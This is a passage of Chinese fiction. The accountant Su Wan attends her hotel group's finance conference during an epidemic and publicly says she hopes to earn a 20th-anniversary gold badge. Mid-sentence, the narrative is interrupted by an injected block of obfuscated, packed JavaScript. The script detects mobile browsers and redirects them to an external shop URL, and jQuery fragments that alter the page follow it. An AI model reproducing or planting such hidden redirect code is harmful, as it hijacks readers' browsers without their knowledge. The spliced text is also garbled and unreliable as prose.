那年冬天，疫情来得悄无声息，又铺天盖地。
先是新闻里报，再是小区封控，然后是街上的人越来越少，越来越沉默。苏晚有天下班路过药店，看见门口排着长队，人人都戴着口罩，露出的一双眼睛里看不出什么表情。
酒店业是第一批倒下的。
春节后本该是旺季，结果退订的电话一个接一个，大堂冷清得能听见空调的风声。
园区那边更安静。厂房里还有几家租户在开工，但办公楼这边几乎没人来了，朱澈没有太多的约束，偶尔在走廊里碰见，也只是点点头。
三月底，李敏忽然打来电话。
“下个月开会，全集团的财务都去省城那个酒店。”
苏晚愣了一下：“开什么会？”
“学习交流会，”李敏说，背景音里有翻纸的声音，像是在找什么文件，“老板定的。说是趁现在闲，都学学，长长本事。”
“好的。”苏晚有点兴趣。
四月，省城。
这是苏晚第二次参加这么大规模的财务会议。第一次是两年前。那次的发言代表还提前私下联系过苏晚，询问过该选什么样的主题。大概那几年苏晚太好学了，在酒店里也是小有名气的。
这回不一样了。
人更多了，说明老板这几年发展得还不错。苏晚很开心。这是第二次了。能够看着自己工作过的企业发展得越来越好，苏晚自己也很开心。当然了，同时一起成长带来的心情好更是好的—这点她没说出口，只是自己想想。
学习交流会设在酒店三楼最大的会议厅，千人宴会厅。苏晚进去的时候，里面已经坐了大半人，嗡嗡的说话声像潮水一样涌过来。她看见不少熟面孔。她没往前凑，找了个靠边的位置坐下。
旁边坐着个男的，不认识，冲她点了点头。苏晚也点点头。
李敏在前面忙前忙后，看见她进来，远远地冲她比了个手势，意思是让她坐前面去。苏晚摇了摇头，指了指手里的本子，意思是就这里也挺好的。李敏没再坚持，只是瞪了她一眼，那眼神苏晚懂：你呀你。
会议开始后，主持的是个帅小伙，口才很好，说话带手势。
然后是老板、省城酒店店长徐霞，他们讲到了酒店的发展史，讲到了酒店未来的品牌规划......
苏晚想起了那年搬家至四楼整理过程中，李敏从办公桌的中间抽屉里拿出来的那几本酒店宣传册。当时苏晚还问过李敏：“李姐，这几本册子有新出的，有有点历史感的，里面记载着什么内容啊。”当时的李敏递给了苏晚：“可以自己看看。”
苏晚当时就现场翻开，书里面的内容震撼到了她，那是酒店的过往史，是酒店来时路，是老板的青春年华，也有着酒店员工的珍贵回忆。
苏晚其实对于李敏能收集到更有年代的宣传册还是蛮感动。那些册子，新出的好找，旧的早该扔了。但李敏留着，一本一本，收在抽屉里，像收着一家人的老照片。
“李姐有心了。”她当时说。
苏晚记得各家酒店的开业时间。不是刻意记的，就是记住了。那些年份在她脑子里排着队，像一串数字密码。
苏晚是带着笔和本子用心得记，不是因为内容多新鲜，是因为她想听。
不知何时，她用心得记着，她一直在做具体的事，理账、跑工地、做预算、跟租户谈合同。
她知道酒店在扩张，知道老板的努力，但那些都是碎片，拼不成一张图。
今天是第一次，有人把整张图摊在她面前。
下午是分组讨论。苏晚分到的那组十来个人，围着圆桌坐。大家轮流发言。
轮到苏晚的时候，她想了想：“园区那边的情况不太一样，得谈。”
讨论结束的时候，已经是傍晚了。临走前，苏晚看到老板和其他领导们走向她们这桌。大家又坐回去。
老板在主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437393|200981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位坐下，扫了一圈：“随便聊聊，今天有什么感想？”
挨个说。
有人说收获很大，有人说认识了很多新朋友，有人说回去要好好消化。
轮到苏晚的时候，她沉默了几秒钟。
“我想说那枚徽章。”她说。
会议室里安静了一下。
“什么徽章？”有年轻员工小声问旁边的人。
“二十周年的那枚金章。”苏晚说，“现在市酒店的保险柜里还有两枚，当年我想要一枚，现在我还是想说，我想要有一枚。”
有人轻轻笑了，笑声很短，像没忍住。不知道是笑她天真还是笑她敢说。
苏晚没管，继续说。她的声音还是那么平，像在报账：“如果我能做得足够好，足够努力，够优秀—我想拥有一枚。”
会议室更安静了。
朱总看着她，没说话。
旁边有人想说什么，被他抬头止住了。
朱总看了她好几秒钟，然后点了点头，脸上有点笑意，不太明显，但确实是有的。
“你会有一枚的。”
散会的时候，大家都往外走。椅子推得吱呀响，有人在说“晚上吃什么。”苏晚收拾好东西，刚要站起来。
“听到没？”市酒店店长拍了拍苏晚的肩膀，眼睛里带着笑：“你会有一枚的，加油。”
说完就走了。
走廊里的灯光是暖黄色的，照得人脸上有点发烫。有人在旁边经过，说着话，笑着，脚步声杂沓。苏晚站了好一会儿，才想起来往电梯口走。
电梯来了，她跟着人群挤进去，站在角落里。
门关上，往下走。
电梯里有人说话，有人在看手机，有人在对着镜子整理头发。苏晚谁都没看，就看着电梯门上自己的影子，模模糊糊的，看不太清。
电梯在往下走。一层，二层，三层。
影子里的人也在看着她。